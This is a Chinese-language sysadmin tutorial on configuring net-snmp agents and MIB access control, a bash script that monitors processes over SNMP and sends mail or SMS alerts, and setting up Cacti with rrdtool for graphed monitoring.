SNMP(Simple Network Management Protocal, 简单网络管理协议)在架构体系的监控子 系统中将扮演重要角色。大体上,其基本原理是,在每一个被监控的主机或节点上 (如交换机)都运行了一个 agent,用来收集这个节点的所有相关的信息,同时监听 snmp 的 port,也就是 UDP 161,并从这个端口接收来自监控主机的指令(查询和设置)。

如果使用 RHEL4 的 net-snmp,那么被监控主机需要安装 net-snmp(包含了 snmpd 这个 agent),而监控端需要安装 net-snmp-utils。如果自行编译,需要 beecrypt(libbeecrypt)和 elf(libraryelf)的库。

每一个 agent 维护一个树形的数据库,称为 MID(Management Information Base, 管理信息库),其每一个节点称为 Object Identifier(OID),这在使用 net-snmp-utils 的工具时会用到。这些节点就表示了这台主机系统的设备如网卡的接口描述(eth0 等)、 物理地址(MAC)、接口类型等,也可能是系统的信息,或者是需要监控的进程等...

net-snmp-utils 的工具集的所有参数不能直接在其 man 手册中查到,可以查 man snmpcmd ,这个命令并不实际存在,只是说明的所有 utils 命令共同的参数。

SNMP MIBs base && some utils

MID(Management Information Base, 管理信息库)这个树形数据库是按照数字(numeric)来 组织的,即每一个节点(OID)都是数字,因此有一个名字到数字的映射关系,例如 system , interfaces 这样的名字要映射到各个被控端的实际设备节点上,或反之需要知道实际的 名字。所有这些映射关系的定义都在 MIB 文件中,即 /usr/share/snmp/mibs (根据实际的安装情况会有不同)。例如:

  sh$ grep 'system' /usr/share/snmp/mibs/SNMPv2-MIB.txt  system   OBJECT IDENTIFIER ::= { mib-2 1 }  ......

snmptranslate 这个命令可以用来查看映射关系:

  sh$ snmptranslate .1.3.6.1.2.1.1.3.0  SNMPv2-MIB::sysUpTime.0  sh$ snmptranslate -On SNMPv2-MIB::system.sysUpTime.0  .1.3.6.1.2.1.1.3.0

可以看到这个 SNMPv2-MIB 其实就是 /usr/share/snmp/mibs/SNMPv2-MIB.txt。

如果要使用自定义的 local MIBs,可以参见: NET-SNMP Tutorial -- Using local MIBs

使用 snmpwalk 可以取得一个树的结果:

  sh$ snmpwalk -v2c -c public localhost system  SNMPv2-MIB::sysDescr.0 = STRING: Linux localhost.localdomain 2.6.14.2 #1 SMP Thu Jan 11 15:39:36 EST 2007 i686  SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10  SNMPv2-MIB::sysUpTime.0 = Timeticks: (687617) 1:54:36.17  SNMPv2-MIB::sysContact.0 = STRING: zhoupeng@zovatech.com  SNMPv2-MIB::sysName.0 = STRING: localhost.localdomain  SNMPv2-MIB::sysLocation.0 = STRING: Unknown (edit /etc/snmp/snmpd.conf)  SNMPv2-MIB::sysORLastChange.0 = Timeticks: (1) 0:00:00.01  SNMPv2-MIB::sysORID.1 = OID: IF-MIB::ifMIB  SNMPv2-MIB::sysORID.2 = OID: SNMPv2-MIB::snmpMIB  SNMPv2-MIB::sysORID.3 = OID: TCP-MIB::tcpMIB  SNMPv2-MIB::sysORID.4 = OID: IP-MIB::ip  SNMPv2-MIB::sysORID.5 = OID: UDP-MIB::udpMIB  SNMPv2-MIB::sysORID.6 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup  SNMPv2-MIB::sysORID.7 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance  SNMPv2-MIB::sysORID.8 = OID: SNMP-MPD-MIB::snmpMPDCompliance  SNMPv2-MIB::sysORID.9 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance  SNMPv2-MIB::sysORDescr.1 = STRING: The MIB module to describe generic objects for network interface sub-layers  SNMPv2-MIB::sysORDescr.2 = STRING: The MIB module for SNMPv2 entities  SNMPv2-MIB::sysORDescr.3 = STRING: The MIB module for managing TCP implementations  SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for managing IP and ICMP implementations  SNMPv2-MIB::sysORDescr.5 = STRING: The MIB module for managing UDP implementations  SNMPv2-MIB::sysORDescr.6 = STRING: View-based Access Control Model for SNMP.  SNMPv2-MIB::sysORDescr.7 = STRING: The SNMP Management Architecture MIB.  SNMPv2-MIB::sysORDescr.8 = STRING: The MIB for Message Processing and Dispatching.  SNMPv2-MIB::sysORDescr.9 = STRING: The management information definitions for the SNMP User-based Security Model.  SNMPv2-MIB::sysORUpTime.1 = Timeticks: (0) 0:00:00.00  SNMPv2-MIB::sysORUpTime.2 = Timeticks: (1) 0:00:00.01  SNMPv2-MIB::sysORUpTime.3 = Timeticks: (1) 0:00:00.01  SNMPv2-MIB::sysORUpTime.4 = Timeticks: (1) 0:00:00.01  SNMPv2-MIB::sysORUpTime.5 = Timeticks: (1) 0:00:00.01  SNMPv2-MIB::sysORUpTime.6 = Timeticks: (1) 0:00:00.01  SNMPv2-MIB::sysORUpTime.7 = Timeticks: (1) 0:00:00.01  SNMPv2-MIB::sysORUpTime.8 = Timeticks: (1) 0:00:00.01  SNMPv2-MIB::sysORUpTime.9 = Timeticks: (1) 0:00:00.01    sh$ snmpwalk -v2c -c public localhost interfaces  IF-MIB::interfaces = No Such Object available on this agent at this OID

如果增加 -Of 参数可以得到一个完整的树形表达。我不太明白这里的 system 和 interfaces 是如何定义和识别的?因为如果使用 snmpget 这样就不行:

  sh$ snmpget -v2c -c public localhost system  SNMPv2-MIB::system = No Such Object available on this agent at this OID  sh$ snmpget -v2c -c public localhost SNMPv2-MIB::system  SNMPv2-MIB::system = No Such Object available on this agent at this OID  sh$ snmpget -v2c -c public localhost SNMPv2-MIB::sysDescr.0  SNMPv2-MIB::sysDescr.0 = STRING: Linux localhost.localdomain 2.6.14.2 #1 SMP Thu Jan 11 15:39:36 EST 2007 i686

现在我知道 interfaces 的一些 MIB(《Linux Server Hacks, 卷二》),前面用 snmpwalk 得不到结果,那么现在用 snmpget 呢?

  sh$ snmpget -v2c -c public localhost IF-MIB::ifDescr.1  IF-MIB::ifDescr.1 = No Such Object available on this agent at this OID

再参考 net-snmp 的 FAQ,使用 snmpgetnext:

  sh$ snmpgetnext -v2c -c public localhost IF-MIB::ifDescr.1  HOST-RESOURCES-MIB::hrSystemUptime.0 = Timeticks: (70364798) 8 days, 3:27:27.98  sh$ snmpgetnext -v2c -c public localhost HOST-RESOURCES-MIB::hrSystemUptime.0  HOST-RESOURCES-MIB::hrSystemUptime.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

根据此 FAQ 上的说明,这样是会有问题的,因为实际上是使用了别的 MIB 文件,或者得 到诸如"end of MIB"的响应,应该要更改配置,那么如何来做? 在《Linux Server Hacks, Volume 2》上,是如下的表示:

  IF-MIB::ifDescr.1 = STRING: lo  IF-MIB::ifDescr.2 = STRING: eth0  ...

以上都是由于 SNMP 的 access control 配置引起的,SNMP 的 access control 可以控制 对 MIB 树的某个分支可以由那些 IP 段来读取和修改等。

SNMP access control(未完)

前面已经了解了 SNMP 及其 MIBs,并且使用了一些工具来查看 MIB 树。但是问题是,我 只能看到 system 这一分支的情况,即:

  snmpwalk -v2c -c public localhost system

而 interfaces 就不行,这样如何监控网络的流量呢?而使用 snmpget 也得不到需要的 IF-MIB:: 中的信息,使用 snmpgetnext 得到的也不正确。snmpgetnext 应该是得到 下一个(NEXT)节点的信息,例如:

  sh$ snmpwalk -v2c -c demo 192.168.0.98 system | head -n 2  SNMPv2-MIB::sysDescr.0 = STRING: Linux localhost.localdomain 2.6.14.2 #1 SMP Thu Jan 11 15:39:36 EST 2007 i686  SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10  sh$ snmpget -v2c -c demo 192.168.0.98 SNMPv2-MIB::sysDescr.0  SNMPv2-MIB::sysDescr.0 = STRING: Linux localhost.localdomain 2.6.14.2 #1 SMP Thu Jan 11 15:39:36 EST 2007 i686  sh$ snmpgetnext -v2c -c demo 192.168.0.98 SNMPv2-MIB::sysDescr.0  SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10

这里 -c demo 是一个 community name,而且这里也不是使用的 localhost 而是 192.168.0.98 这样的地址,这是因为更改了 snmpd.conf 的缘故,实际上,如果不更改而 使用默认的 snmpd.conf,那么只能使用 -c public localhost,否则只能得到诸如: "Timeout: No Response from 192.168.0.98."这样的信息。这些会在下面讲到。

根据 net-snmp FAQ "I can see the system group, but nothing else. Why?" 上的说明,无法得到 interfaces 这个子树的原因是由于 agent 的 access control 的 缘故。那么在 netsnmp FAQ "How do I configure access control?" 和 net-snmp FAQ "I don't understand the new access control stuff - what does it mean?" 这两个部分说明了如何来配置 agent 的 access control。

我们现在只考虑 SNMPv2,不考虑 SNMPv3。 那么 access control 要解决的问题就是:我要让哪些人(who)可以获取哪些子树(what)。 与此相关的几个语句是 com2sec, group, view 和 access。

那么先来看看 access 语句,它就是定义哪些人可以获取哪些子树的语句。其语法为:

  access {group} "" any noauth exact {read-tree} {write-tree} {notify-tree}

这里 {group} 就是将要用 group 语句来定义的组, {read-tree} {write-tree} {notify-tree} 就是将要用 view 来定义的子树。 所以 group 就是哪些人,view 就是哪些子树。

于是用 group 来定义哪些人:

  # com2sec notConfigUser  default       public  # group   notConfigGroup  v1           notConfigUser  # group   notConfigGroup  v2c          notConfigUser  com2sec mynet     192.168.0.0/24  demo  group   gmynet     v1              mynet  group   gmynet     v2c             mynet

为了更清楚的说明,这里我将原来的注释掉了。v1/v2c 是 serurityModel,就是在 snmpwalk/snmpget 这些命令使用时使用的参数如 -v2c(-v 2c)。所以我们的 group 为 gmynet,它与 mynet 这个名字(security name)是一个映射关系,而为了简便起见,也 可以直接定义 group 为 mynet,而不用绕这么多圈子:

  group   mynet     v1              mynet  group   mynet     v2c             mynet

com2sec 即 community to security,实际上定义了一个基于 地址的访问控制,另外它 大概还有一个将 SNMPv2/SNMPv1 的名字映射过来的作用,如上的 demo,这样在 snmpwalk/snmpget 时使用 -v2c 这样的参数时可以使用 -c demo。按照上面的方式定义 之后,就只能使用上面的 snmpwalk/snmpget -v2c -c demo 192.168.0.98 这样的形式, 而不能再使用 -c public localhost 了,否则就得到 "Timeout: No Response from localhost"这样的出错。

然后用 view 来定义可以查看哪些子树:

  view    interface included       .1.3.6.1.2.1.2  view    system    included       .1.3.6.1.2.1.1  view    system    included       .1.3.6.1.2.1.25.1.1

可以利用 snmptranslate 来得到 numeric 树,

  sh$ snmptranslate -On IF-MIB::interfaces  .1.3.6.1.2.1.2  sh$ snmptranslate -On SNMPv2-MIB::system  .1.3.6.1.2.1.1

也可以直接使用 MIB 定义。

那么 access 的定义就应该如下:

  access  mynet ""  any  noauth  exact  system  none  none  access  mynet ""  any  noauth  exact  interface  none  none

这样,按道理就应该可以得到 interfaces 的值了。记得要使 agent 重新读取配置文件, 在 RHEL4 下面使用 /etc/init.d/snmpd restart 即可。

但实际上却不行:

  sh$ snmpwalk -v2c -c demo 192.168.0.98 interfaces  IF-MIB::interfaces = No Such Object available on this agent at this OID  sh$ snmpget -v2c -c demo 192.168.0.98 IF-MIB::ifDescr.1  IF-MIB::ifDescr.1 = No Such Object available on this agent at this OID

但是如果使用如下的设置却可以:

  view    all       included       .1  access  mynet "" any  noauth  exact  all  none  none    sh$ snmpwalk -v2c -c demo 192.168.0.98 interface  IF-MIB::ifNumber.0 = INTEGER: 4  IF-MIB::ifIndex.1 = INTEGER: 1  IF-MIB::ifIndex.2 = INTEGER: 2  IF-MIB::ifIndex.3 = INTEGER: 3  IF-MIB::ifIndex.4 = INTEGER: 4  IF-MIB::ifDescr.1 = STRING: lo  IF-MIB::ifDescr.2 = STRING: eth0  IF-MIB::ifDescr.3 = STRING: eth1  IF-MIB::ifDescr.4 = STRING: sit0  IF-MIB::ifType.1 = INTEGER: softwareLoopback(24)  IF-MIB::ifType.2 = INTEGER: ethernetCsmacd(6)  IF-MIB::ifType.3 = INTEGER: ethernetCsmacd(6)  IF-MIB::ifType.4 = INTEGER: tunnel(131)  IF-MIB::ifMtu.1 = INTEGER: 16436  IF-MIB::ifMtu.2 = INTEGER: 1500  IF-MIB::ifMtu.3 = INTEGER: 1500  IF-MIB::ifMtu.4 = INTEGER: 1480  IF-MIB::ifSpeed.1 = Gauge32: 10000000  IF-MIB::ifSpeed.2 = Gauge32: 100000000  IF-MIB::ifSpeed.3 = Gauge32: 10000000  IF-MIB::ifSpeed.4 = Gauge32: 0  IF-MIB::ifPhysAddress.1 = STRING:  IF-MIB::ifPhysAddress.2 = STRING: 0:2:b3:b0:59:36  IF-MIB::ifPhysAddress.3 = STRING: 0:2:b3:b0:59:4a  IF-MIB::ifPhysAddress.4 = STRING: 0:0:0:0:59:4a  IF-MIB::ifAdminStatus.1 = INTEGER: up(1)  IF-MIB::ifAdminStatus.2 = INTEGER: up(1)  IF-MIB::ifAdminStatus.3 = INTEGER: down(2)  IF-MIB::ifAdminStatus.4 = INTEGER: down(2)  IF-MIB::ifOperStatus.1 = INTEGER: up(1)  IF-MIB::ifOperStatus.2 = INTEGER: up(1)  IF-MIB::ifOperStatus.3 = INTEGER: down(2)  IF-MIB::ifOperStatus.4 = INTEGER: down(2)  IF-MIB::ifInOctets.1 = Counter32: 381118  IF-MIB::ifInOctets.2 = Counter32: 125019173  IF-MIB::ifInOctets.3 = Counter32: 0  IF-MIB::ifInOctets.4 = Counter32: 0  IF-MIB::ifInUcastPkts.1 = Counter32: 4308  IF-MIB::ifInUcastPkts.2 = Counter32: 1069602  IF-MIB::ifInUcastPkts.3 = Counter32: 0  IF-MIB::ifInUcastPkts.4 = Counter32: 0  IF-MIB::ifInDiscards.1 = Counter32: 0  IF-MIB::ifInDiscards.2 = Counter32: 0  IF-MIB::ifInDiscards.3 = Counter32: 0  IF-MIB::ifInDiscards.4 = Counter32: 0  IF-MIB::ifInErrors.1 = Counter32: 0  IF-MIB::ifInErrors.2 = Counter32: 0  IF-MIB::ifInErrors.3 = Counter32: 0  IF-MIB::ifInErrors.4 = Counter32: 0  IF-MIB::ifOutOctets.1 = Counter32: 383414  IF-MIB::ifOutOctets.2 = Counter32: 1770179210  IF-MIB::ifOutOctets.3 = Counter32: 0  IF-MIB::ifOutOctets.4 = Counter32: 0  IF-MIB::ifOutUcastPkts.1 = Counter32: 4340  IF-MIB::ifOutUcastPkts.2 = Counter32: 1319881  IF-MIB::ifOutUcastPkts.3 = Counter32: 0  IF-MIB::ifOutUcastPkts.4 = Counter32: 0  IF-MIB::ifOutDiscards.1 = Counter32: 0  IF-MIB::ifOutDiscards.2 = Counter32: 0  IF-MIB::ifOutDiscards.3 = Counter32: 0  IF-MIB::ifOutDiscards.4 = Counter32: 0  IF-MIB::ifOutErrors.1 = Counter32: 0  IF-MIB::ifOutErrors.2 = Counter32: 0  IF-MIB::ifOutErrors.3 = Counter32: 0  IF-MIB::ifOutErrors.4 = Counter32: 0  IF-MIB::ifOutQLen.1 = Gauge32: 0  IF-MIB::ifOutQLen.2 = Gauge32: 0  IF-MIB::ifOutQLen.3 = Gauge32: 0  IF-MIB::ifOutQLen.4 = Gauge32: 0  IF-MIB::ifSpecific.1 = OID: SNMPv2-SMI::zeroDotZero  IF-MIB::ifSpecific.2 = OID: SNMPv2-SMI::zeroDotZero  IF-MIB::ifSpecific.3 = OID: SNMPv2-SMI::zeroDotZero  IF-MIB::ifSpecific.4 = OID: SNMPv2-SMI::zeroDotZero    sh$ snmpget -v2c -c demo 192.168.0.98 IF-MIB::ifDescr.1  IF-MIB::ifDescr.1 = STRING: lo  sh$ snmpget -v2c -c demo 192.168.0.98 IF-MIB::ifDescr.2  IF-MIB::ifDescr.2 = STRING: eth0  sh$ snmpgetnext -v2c -c demo 192.168.0.98 IF-MIB::ifDescr.2  IF-MIB::ifDescr.3 = STRING: eth1

那么最初的配置有什么问题呢?

无论如何,为安全起见,只做如下的 access:

  sh$ snmptranslate .1.3.6.1.2.1  SNMPv2-SMI::mib-2  sh$ snmptranslate -Of .1.3.6.1.2.1  .iso.org.dod.internet.mgmt.mib-2    sh$ cat /etc/snmp/snmpd.conf  view    system       included       .1.3.6.1.2.1  access  mynet "" any  noauth  exact  system  none  none

SNMP 应用一例:a shell script for process monitor

这只是一个临时解决办法,为了监测进程的健康状态,首先必须在被控机上安装 net-snmp ,然后配置 /etc/snmp/snmpd.conf 如下:

  syscontact  sysadm@sample.com  proc vsftpd 100 1  proc httpd 3000 1  proc mysqld 3000 1  disk  /data 100G  com2sec mynet    192.168.0.0/24  process-mon  group   mynet    v1              mynet  group   mynet    v2c             mynet  view    system       included       .1.3.6.1.2.1  view    system       included       .1.3.6.1.4.1.2021.2  access  mynet "" any  noauth  exact  system  none  none

接着编辑脚本:

  #!/bin/sh    PATH=$PATH:/usr/bin  PROGRAM=`basename $0`    community='demo'  host='localhost'  mailto=''  items=''  ilist='tmp'    table='em_tran'  dbname='shortmsg'  dbuser='shortmsg'  dbpass=""  dbhost='localhost'  dbport=3306    DB_INFO_FILE=""  INSERT2DB=0  MOBILE_PHONES='13661809020'    short_messages() {   STRERR="$1"     for phone in MOBILE_PHONES; do    SQL="INSERT INTO $table (tran_pr, tran_phone, tran_callback,tran_status, tran_date, tran_msg)  VALUES (null, '$phone', '1', '1', sysdate(), '$STRERR');"    CMD="echo \"$SQL\" | $mysql"    ### echo "DEBUG: $CMD"    eval $CMD    logger -it "$PROGRAM" "short messages: $phone, $STRERR"   done  }    args=`getopt -l help,item:items-list:dbinfo-file: c:h:m:i:I:d: $*`  if [ $? -gt 0 ]; then   strerr="Invalid options"   echo "$strerr" >&2   logger -it "$strerr"   exit 1  fi    for i in $args; do   case $i in   -c) shift; community=$1; shift;;   -h) shift; host=$1; shift;;   -m) shift; mailto=$1; shift;;   -i|--item)    shift    if [ -n "$items" ]; then     items=`echo -e "$items\n$1"`    else     items="$1"    fi    shift    ;;   -I|--items-list)    shift; ilist=$1; shift;;   -d|--dbinfo-file)    shift; INSERT2DB=1; DB_INFO_FILE=$1; shift;;   --help)    shift    echo "useage: $PROGRAM [-c|-h|-m] [--item|--help]      -c community      -h host      -m mailto      -i|--item item_map, 'community host' map   -I|--items-list file, read 'community host' map items from a file      --help, print this message"    exit 0    ;;   esac  done    if [ -z "$items" ]; then   items="$community $host"  fi    if [ -n "$DB_INFO_FILE" ]; then   dbpass=`grep "$dbhost:$dbport:$dbuser" $DB_INFO_FILE | awk -F: '{print $4}'`  fi  mysql="mysql -u $dbuser -p'$dbpass' -h $dbhost -P $dbport $dbname"    if [ "$ilist" == "tmp" ]; then echo "$items" >$ilist; fi  N=`wc -l $ilist | awk '{print $1}'`  STATUS=()  MESSAGES=()  REPORT_AT=()  REPORTED_TIMES=()  for i in `seq 1 $N`; do   STATUS=(${STATUS[@]} 0)   MESSAGES=(${MESSAGES[@]} 'OK')   REPORT_AT=(${REPORT_AT[@]} 0)   REPORTED_TIMES=(${REPORTED_TIMES[@]} 0)  done  INTERVAL=600  MAX_ERROR_NUM=3    while [ 1 -eq 1 ]; do   STRERR=""   ((index = 0))   while read community host; do    strerr=""    ### echo "DEBUG: $community $host"    if [ -z "$community" -o -z "$host" ]; then     strerr="Invalid 'community host' item: $community $host"     echo $strerr >&2     logger -it $PROGRAM "$strerr"     continue    fi       snmp_result=`snmpwalk -v2c -c $community $host UCD-SNMP-MIB::prNames`       if [ $? -gt 0 ];then      strerr="$host: SNMP ERROR, maybe system is down"      echo "$strerr" >&2      logger -it "$PROGRAM" $strerr      ((STATUS[$index]++))      MESSAGES[$index]="$strerr"      ### echo "DEBUG 1: STATUS[$index], ${STATUS[$index]}"      if [ ${STATUS[$index]} -ge $MAX_ERROR_NUM ]; then      # Only report the error when there have been $MAX_ERROR_NUM failures       ((now = `date +%s`))       ### echo "DEBUG 2: now, $now; REPORT_AT[$index], ${REPORT_AT[$index]}"       if [ $now -ge ${REPORT_AT[$index]} ]; then        ### echo "DEBUG 3: REPORTED_TIMES[$index], ${REPORTED_TIMES[$index]}"        multiple=$(echo "2^(${REPORTED_TIMES[$index]}+1)" | bc -l)        ### echo "DEBUG 3.1: $multiple"        ((REPORT_AT[$index] = `date +%s` + $multiple * $INTERVAL))        # Make the next report intervals longer and longer to avoid annoying        ### echo "DEBUG 4: next REPORT_AT[$index], ${REPORT_AT[$index]}"        STRERR="$STRERR\n$strerr"        ((REPORTED_TIMES[$index]++))       fi      fi     fi      [ -z "$strerr" ] && \    num=`echo "$snmp_result" | wc -l` && \    for i in `seq 1 $num`; do     status=$(snmpget -v2c -c $community $host UCD-SNMP-MIB::prErrorFlag.$i | awk -F' = ' '{print $2}') && \     process=$(echo "$snmp_result" | sed -n "$i{s/^UCD-SNMP-MIB::prNames.$i = STRING: \(.*\)$/\1/p}") && \     if [ "$status" == "INTEGER: error(1)" -o "$status" == "INTEGER: 1" ]; then      message=$(snmpget -v2c -c $community $host UCD-SNMP-MIB::prErrMessage.$i | sed "s/UCD-SNMP-MIB::prErrMessage.$i = STRING: \(.*\)$/\1/")      strerr="$host: $message"      echo "$strerr" >&2      logger -it $PROGRAM "$strerr"      ((STATUS[$index]++))      MESSAGES[$index]="$strerr"      if [ ${STATUS[$index]} -eq 3 ]; then        ((now = `date +%s`))       if [ $now -ge ${REPORT_AT[$index]} ]; then        multiple=$(echo "2^(${REPORTED_TIMES[$index]}+1)" | bc -l)        ((REPORT_AT[$index] = `date +%s` + $multiple * $INTERVAL))        STRERR="$STRERR\n$strerr"        ((REPORTED_TIMES[$index]++))       fi      fi     fi    done      if [ -z "$strerr" ]; then     ((STATUS[$index] = 0))     ((MESSAGES[$index] = 'OK'))     ((REPORT_AT[$index] = 0))     ((REPORTED_TIMES[$index] = 0))    fi    # clear if no error occurs    ((index++))   done <$ilist     ### if [ -n "$STRERR" ]; then   ### echo "DEBUG x: $STRERR" >&2   ### fi     if [ -n "$mailto" ] && [ -n "$STRERR" ]; then    STRERR="*** CRITICAL ***\n$STRERR"    echo -e "$STRERR" | mail -s "*** CRITICAL: process monitor ERRORs report ***" $mailto   fi     if [ $INSERT2DB -eq 1 ] && [ -n "$STRERR" ]; then    short_messages "$STRERR"   fi     ### echo -e "\n************ DEBUG ************\n"     sleep $INTERVAL  done

这个脚本将以 deamon 的方式运行,可以这样启动:

  sh$ process-mon -c demo -h 192.168.0.98  sh$ process-mon -i 'demo 192.168.0.98' -i 'mon 192.168.0.99' -m chowroc@sample.com  # 检查两台主机并在有问题时发送邮件到(mailto)指定的的地址  sh$ process-mon -I process-mon.list -m roc@sample.com  # 从列表中读取'commnutiy host'对并将出错情况发送到 roc@sample.com    sh$ cat process-mon  demo 192.168.0.98  process-mon 192.168.0.211  ...    sh$ process-mon -I process-mon.list -d mysql-passwd  sh$ cat mysql-passwd  localhost:3306:shortmsg:shortmsg  # 这样可以向一个数据库插入消息,而短信网关从这个数据库中读取消息    sh# nohup /bin/sh /opt/scripts/process-mon -m monitor@zovatech.com -I /opt/scripts/process-mon.list >/dev/null 2>&1 &  # 可以在后台这样运行,因为实际上没有使用编写 daemon 的方法,所以这里使用 nohup  # 以防止终端退出后子进程终止

基本图形化监控系统资源

前面已经讨论了 SNMP,几乎所有的系统资源和状态情况都可以被 SNMP 侦测,并通过 SNMP 协议,令管理主机从被控主机上取得这些数据。但这些数据都是当前状态的瞬时结果 而不是统计值,并且不够直观以获得整体概念,所以需要有一些工具和方案可以取得长期 数据,并转变为图形来显示。

图形化系统监控的一个可行的解决方案就是使用 SNMP + rrdtool + Cacti 的组合。其 基本原理是,管理主机上的 Cacti 通过调用 SNMP 命令或接口,周期性的从被控主机获得 状态信息,然后 Cacti 调用 rrdtool 将数据存储为 rrd 格式,并调用 rrdtool 的相关 命令来作出变化曲线图,最后 Cacti 通过 Web 页面将其显示给最终用户(管理员)。同时 Cacti 拥有一个比较完善的管理界面,可以根据需要增添对不同资源的监控图 -- 还可以 插入自定义的脚本;通过对 rrdtool 的了解,将有可能使用数据合并/图形叠加的方法, 更好的找出系统瓶颈所在。

Cacti 自己的 MySQL 数据库主要是用来存放一些配置信息,如 snmpget 等命令的路径, rrd 文件的路径等信息,不包含 SNMP 的状态数据,这些数据都存放在 rrd 文件中了。

因此 Cacti 主要是提供了一个良好的管理界面,这样可以屏蔽很多 rrdtool 的使用 细节,对于尽快构建一个可用的起步监控系统有比较实际的意义。当然,还是必须对 SNMP 有基本的了解。

安装 net-snmp 前面已经说明。安装 rrdtool 可以参考下面的 profile:

  pkgname = "rrdtool";  version = "1.2.23";  user = "rrdtool";  groups = "";  group = "rrdtool";  archive = "rrdtool-1.2.23.tar.gz";  command = "tar xfz rrdtool-1.2.23.tar.gz";  command = "cd rrdtool-1.2.23";  command = "./configure --prefix=/usr/local --disable-tcl";  command = "make";  command = "make install";  command = "cd ..";  command = "rm -rf rrdtool-1.2.23";  time = "20070523 18:00:31 Wed";

另外,php 在编译时需要增加参数:--with-snmp。

Cacti 的安装比较直接,解包后直接拷贝到 Apache 某个 VirtualHost 的 DocumentRoot 下即可。将用户属主改成 Apache 用户,如 httpd,编辑 include/config.php,修改如下 几个参数:

  $database_type = "mysql";  $database_default = "cacti";  $database_hostname = "localhost";  $database_username = "cactiuser";  $database_password = "cactiuser";  $database_port = "3306";

因此需要先创建 Cacti 自己使用的数据,并创建相应的数据库账户。之后就可以访问: http://hostname/cacti来执行安装,安装的过程中,必须设定 snmpget/snmpwalk 以及 rrdtool 等命令的正确路径和 net-snmp/rrdtool 的正确版本以及管理帐号(admin) 等信息。

我在安装 cacti-0.8.6j 的时候遇到一些问题(即使把所有提到的补丁都打上了),不知道 确切原因,最后应用了 cacti-0.8.6i,工作良好。

然后,添加相应的 Devices(即主机),为每一个 Device 创建需要的 Graph,并 "Place on a Tree(Choose an action)"。总之,这个图形配置界面比较简单,只要对 SNMP 有必要的理解,以及对系统的资源包括哪些方面有基本认识,那么大体上就知道应该 怎么配置了。

然后是设定 Cacti 的 poller,即定时从被控主机上取得 SNMP 数据的程序:

  sh# su - httpd  -bash-3.00$ crontab -e  */5 * * * * /usr/local/bin/php /var/www/html/docs/docs/cacti/poller.php >/dev/null 2>&1

在 Cacti 的 Settings -> Poller 中,poller type 可以选择 cmd.php 或 cactid,前者 是 cacti 中自带的,其默认运行周期为 300s,如果超过这个时间,就会中止,对于主机 数量不太多的小站点没有问题,如果主机数量比较大,则可以使用 cactid 这个二进制 程序,可以在 Cacti 的官方网站上找到 cacti-cactid-0.8.6i 的安装包。

最后,要记得打开每个被监控主机的相应的 firewall 端口,并且 /etc/snmp/snmpd.conf 也需要相应的 access 控制。

参考:

  1. 使用cacti监测系统性能
  2. The Cacti Manual

Cacti 高级:定制和扩展

Cacti 为每一个主机创建图形,每一个主机可以选择从一个 Host Template 建立,例如 Cisco Router 或 ucd/net SNMP host,而每一个 Host Template 又包含若干 Graph Templates,包括对网络流量、CPU、内存使用情况等,这样每一个图形可以从一个 Graph Template 建立,而每一个 Graph Template 又与若干个 Data Templates 相联系,一个 Graph 所使用的 Data Source 就需要从 Data Template 的定义来获得。

同时,为了取得数据(Data Sources),需要定义一些方法,通常利用是 SNMP 或 Script 来完成这部分工作,所谓 SNMP,就是提供 SNMP 的 OID 给 Cacti,然后 Cacti 自己的 程序或通过运行 snmp 命令或调用 snmp lib 来获取数据,而 Script 是通过编写自己的 脚本来向 Cacti 提供数据,这个 Script 可以运行 SNMP 的查询以获取一些特殊的数据, 或者提供一些完全不同的数据。这在后面的实例中将看到。

获取数据在 Cacti 中有两种模式,即 Data Queries 和 Date Input Methods。前者其实 是在后者的基础上建立起来的,即全都是利用 Data Input Methods 中那些 Indexed 的 方法,包括 SNMP Indexed 和 Script Indexed。

Data Queries 和 Data Input Methods 必须和相应的 Graph Template 以及 Data Template 联系起来才能最终起作用。

它们之间的关系图可以表示如下:

  ** this graph should be shown in monospaced fonts **    Hosts <== Host Templates <--\    \                         |     \--> Graphs <== Graph Templates <--\ <--------------\            \                           |                |              \--> Date Sources <== Date Templates <------\                    \                                    |                     \----------> Data Queries(Inexed) --+                     |                    A              |                     |                    A              |                     \----------> Data Input Methods ----/

默认的 Cacti 所提供的图形虽然有用,但毕竟有限,最终将不得不定制和扩展以获得需要 的功能。而这种模板的模式,为定制和扩展提供了一定的便利。

下面通过一些实例来看看如何定制和扩展:

  1. 定义 SNMP Data Queries (Indexed) 来获取关键进程的数量曲线

    比如对于 httpd/mysqld 这样一些进程,我可能需要知道这些进程数量的变化情况,从而 可以与网络流量、内存和 CPU 资源消耗情况做一个对比,从而更精确的知道系统性能的 问题。

    这里 Indexed 是指从 SNMP 取得的数据是 Index 类型的,即同一种类型的数据包含若干 实例,比如网卡的流量,就包括 lo/eth0/eth1 这几个接口,对于进程来说,则有 httpd/mysqld/... 等若干进程。这通常是利用类似于 snmpwalk 这样的方法来获得的。

    根据上面的图表关系,首先创建这个 Data Queries。进入"Console -> Data Queries", 选择"Add",在编辑页面中填写相关内容,最重要的一项是"XML Path",即指名一个 XML 文件的路径为:/resource/snmp_queries/processes.xml。这里的最好 使用 ,这样 Cacti 会自动替换为正确的路径。然后"Data Input Method"则选择"Get SNMP Data (Indexed)"。

    如果 XML 文件路径正确,页面会提示 Successfully located XML file

    之所以需要定义一个 XML,是因为实际的 SNMP 查询是交给 Cacti 内部的程序来执行的, 不像自定义脚本,这个内部程序是不知道你查询的 Index 会是什么样的结果,例如,查询 网卡:

